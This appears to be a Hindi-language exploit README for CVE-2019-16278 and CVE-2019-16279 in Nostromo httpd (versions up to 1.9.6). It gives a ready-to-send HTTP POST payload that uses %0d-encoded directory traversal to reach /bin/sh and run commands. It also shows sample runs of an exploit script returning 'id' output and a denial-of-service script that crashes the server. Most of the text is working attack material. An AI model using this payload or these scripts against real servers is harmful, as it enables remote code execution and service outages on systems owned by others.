jas502n/cve-2019-16278डायरेक्टरी ट्रैवर्सल से रिमोट कोड निष्पादन
Nostromo httpd, संस्करण <= 1.9.6 के लिए 2 गंभीर कमजोरियों से ग्रस्त है (0day =]) पहली एक डायरेक्टरी ट्रैवर्सल के माध्यम से RCE है, दूसरी एक DoS है
POST /.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0
Connection: close
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Content-Length: 25
echo
echo
ifconfig 2>&1
यह बग CVE-2011-0751 के अधूरे फिक्स के कारण है। हम /../ की जाँच को बायपास कर सकते हैं, जो हमें मनमाने तर्कों के साथ /bin/sh निष्पादित करने की अनुमति देता है।
उदाहरण
$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)
यह बग एक ही कनेक्शन में बहुत सारे \r\n भेजने पर मेमोरी त्रुटि उत्पन्न करता है।
उदाहरण
$ curl http://127.0.0.1:8080
HELLO!
$ ./CVE-2019-16279.sh 127.0.0.1 8080
$ curl http://127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused